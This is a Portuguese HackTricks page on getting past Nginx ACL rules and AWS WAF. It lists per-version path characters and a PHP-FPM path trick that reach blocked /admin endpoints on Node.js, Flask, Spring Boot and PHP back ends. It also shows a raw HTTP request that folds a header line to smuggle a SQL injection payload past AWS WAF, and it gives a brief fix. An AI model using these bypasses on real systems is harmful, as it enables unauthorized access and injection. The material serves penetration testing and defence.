7.3 KiB
Bypassando Proteções de Proxy / WAF
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? Ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Bypassando Regras de ACL do Nginx
Exemplo de restrição do Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
NodeJS
- Como o Nginx inclui o caractere
\xa0
como parte do caminho, a regra ACL para a URI/admin
não será acionada. Consequentemente, o Nginx encaminhará a mensagem HTTP para o backend; - Quando a URI
/admin\x0a
é recebida pelo servidor Node.js, o caractere\xa0
será removido, permitindo a recuperação bem-sucedida do endpoint/admin
.
Versão do Nginx | Caracteres de Bypass do Node.js |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
O Flask remove os caracteres \x85
, \xA0
, \x1F
, \x1E
, \x1D
, \x1C
, \x0C
, \x0B
e \x09
do caminho da URL, mas o NGINX não.
Versão do Nginx | Caracteres de Bypass do Flask |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Abaixo, você encontrará uma demonstração de como a proteção ACL pode ser contornada adicionando o caractere \x09
ou no final do caminho:
Versão do Nginx | Caracteres de Bypass do Spring Boot |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Vamos considerar a seguinte configuração do Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
É possível contorná-lo acessando /admin.php/index.php
:
Como prevenir
Para prevenir esses problemas, você deve usar a expressão ~
em vez da expressão =
nas regras de ACL do Nginx, por exemplo:
COPYCOPY
location ~* ^/admin {
deny all;
}
Bypassando AWS WAF ACL com Line Folding
É possível contornar a proteção do AWS WAF em um cabeçalho HTTP usando a seguinte sintaxe, onde o AWS WAF não entenderá que o cabeçalho X-Query contém uma carga útil de injeção de SQL, enquanto o servidor node por trás entenderá:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Referências
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? Ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo Telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e o repositório hacktricks-cloud.